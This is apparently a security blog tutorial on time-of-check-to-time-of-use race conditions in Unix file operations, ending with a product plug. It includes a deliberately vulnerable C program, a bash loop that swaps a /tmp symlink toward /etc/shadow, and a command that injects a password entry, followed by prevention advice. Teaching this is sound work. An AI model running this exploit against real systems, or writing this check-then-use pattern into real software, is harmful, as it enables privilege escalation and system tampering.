What is Race Condition in File Operations? Ways to Exploit, Examples and Impact

What is Race Condition in File Operations? Ways to Exploit, Examples and Impact

In the world of concurrent programming, timing is everything. A race condition occurs when the behavior of a software system depends on the sequence or timing of uncontrollable events, such as the exact moment a process is scheduled by the operating system. When these timing issues involve the file system, they open a dangerous door for attackers to manipulate data, escalate privileges, or bypass security checks. Understanding how these vulnerabilities manifest is critical for any developer or security professional looking to build resilient systems.

Understanding the Core Concept: What is a Race Condition?

At its heart, a race condition is a flaw where two or more operations must happen in a specific order, but the program does not enforce that order. Imagine two people trying to withdraw the last $100 from a shared bank account at the exact same millisecond at different ATMs. If the system checks the balance for both before either transaction completes, both might successfully withdraw $100, leaving the bank at a loss.

In file operations, the "race" typically happens between a program checking the status of a file (e.g., "Does this file belong to the user?") and the program actually performing an action on that file (e.g., "Write sensitive data to this file"). Because the operating system can pause a process at any time to let another process run, an attacker can intervene during that tiny pause to change the state of the file system.

The TOCTOU (Time-of-Check to Time-of-Use) Vulnerability

The most common form of file-based race condition is known as TOCTOU: Time-of-Check to Time-of-Use. This occurs when a program performs a security check based on a file path and then assumes that the state of that path remains unchanged when it later performs an operation.

The Window of Vulnerability

The gap between the "Check" and the "Use" is the window of vulnerability. Even if this gap lasts only a few microseconds, a modern CPU can execute millions of instructions in that time. An attacker can run a script in a loop that attempts to swap the file at that exact moment. If the attacker "wins the race," the program performs its action on a file that the attacker controlled, rather than the one the program originally verified.

Common Scenarios in File Operations

1. Insecure Temporary File Creation

Many legacy applications and scripts create temporary files in shared directories like /tmp or /var/tmp. If the application uses a predictable filename and doesn't check if the file already exists, or if it checks and then opens it without atomic flags, an attacker can create a symbolic link (symlink) with that same name pointing to a sensitive file, such as /etc/passwd or a configuration file.

2. Permission and Ownership Changes

Consider a service running as root that changes the permissions of a file in a user's directory. If the service first checks that the file is owned by the user and then runs chmod 777 on it, an attacker could replace that file with a symlink to a system file between the check and the chmod command. The root service would then inadvertently grant global write access to a critical system file.

How to Exploit a File Race Condition: A Technical Walkthrough

To understand how an exploit works, let's look at a classic vulnerable C code snippet and a corresponding exploit strategy.

The Vulnerable Code Example

Below is a simplified example of a program that checks if a file is writable by the current user before appending data to it. This is a classic TOCTOU bug.

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *filename = "/tmp/user_log";

    // TIME OF CHECK
    if (access(filename, W_OK) == 0) {
        printf("Access granted. Writing to log...\n");

        // An attacker tries to win the race here!
        
        // TIME OF USE
        FILE *f = fopen(filename, "a");
        if (f == NULL) {
            perror("fopen");
            return 1;
        }
        fprintf(f, "User action recorded: %s\n", argv[1]);
        fclose(f);
    } else {
        printf("Access denied.\n");
    }
    return 0;
}

The Exploitation Strategy

The goal for the attacker is to make /tmp/user_log a normal file during the access() call (to pass the check) and then make it a symlink to /etc/shadow right before the fopen() call.

Since the timing is difficult to hit perfectly once, attackers use a "spraying" or looping technique. They run the vulnerable program and the exploit script simultaneously in a loop until the timing aligns.

The Exploit Script (Bash)

This script continuously toggles the target file between a dummy file and a symlink to a sensitive system file.

#!/bin/bash

# The target we want to overwrite
TARGET="/etc/shadow"
# The temporary file the vulnerable app uses
TEMP_FILE="/tmp/user_log"

# Create a dummy file for the 'Check' phase
touch /tmp/dummy_file

echo "Starting race..."

while true; do
    # Point the temp file to our dummy file to pass the access() check
    ln -sf /tmp/dummy_file $TEMP_FILE
    
    # Rapidly switch it to point to the sensitive target
    ln -sf $TARGET $TEMP_FILE
done

While this script runs, the attacker executes the vulnerable program in another terminal:

while true; do ./vulnerable_app "attacker:password_hash"; done

Eventually, the access() check will occur while $TEMP_FILE is a regular file, but by the time fopen() is called, the symlink to /etc/shadow will have been created. The program, running with higher privileges, will then append the attacker's string to the password file.

The Impact of Race Condition Vulnerabilities

The consequences of file-based race conditions are often severe, especially when the vulnerable application runs with elevated privileges (like a setuid binary or a system daemon).

1. Privilege Escalation

As seen in the example above, an unprivileged user can trick a privileged process into modifying files it shouldn't have access to. This can lead to gaining root access by modifying /etc/passwd, /etc/sudoers, or adding SSH keys to a root directory.

2. Data Corruption and Integrity Loss

In environments where multiple processes manage logs or databases without proper locking, race conditions can lead to interleaved writes. This results in corrupted files that are unreadable by the application, leading to system instability.

3. Denial of Service (DoS)

An attacker might use a race condition to delete critical configuration files or fill them with junk data, causing the system or a specific service to crash and fail to restart.

How to Prevent Race Conditions in Your Applications

Preventing race conditions requires moving away from path-based operations and toward atomic operations or file descriptors.

1. Use Atomic Operations

When creating files, use flags that ensure the operation is atomic. In C, when using open(), use the O_CREAT and O_EXCL flags together. This combination ensures that the call fails if the file already exists, preventing symlink attacks.

int fd = open("/tmp/new_file", O_WRONLY | O_CREAT | O_EXCL, 0600);
if (fd < 0) {
    // File already exists or error, do not proceed
}

2. Avoid Using Paths After Initial Check

Instead of checking a path and then opening that path, open the file first and then check its attributes using the file descriptor. Operations on file descriptors are safe from race conditions because the descriptor points to the specific file object (inode) rather than a path that can be swapped.

Use fstat() on a file descriptor instead of stat() on a path. Similarly, use fchmod() and fchown() instead of their path-based counterparts.

3. Secure Temporary Directories

If you must use temporary files, use high-level library functions designed for security, such as mkstemp() in C or tempfile in Python. These functions create files with unique names and restrictive permissions in an atomic fashion.

4. Use File Locking

For applications where multiple processes must access the same file, implement advisory or mandatory locking using flock() or fcntl(). This ensures that only one process can manipulate the file at a time, effectively eliminating the race.

Conclusion

Race conditions in file operations represent a subtle but powerful class of vulnerabilities. They highlight the fact that the environment between code instructions is not static. For developers, the lesson is clear: never trust a file path twice. By using atomic operations, file descriptors, and secure APIs, you can close the window of opportunity for attackers.

For security professionals, identifying these flaws requires a deep look at how applications interact with the OS kernel. Monitoring your infrastructure for unexpected file system changes or unauthorized symlink creations is a vital part of a modern security posture.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.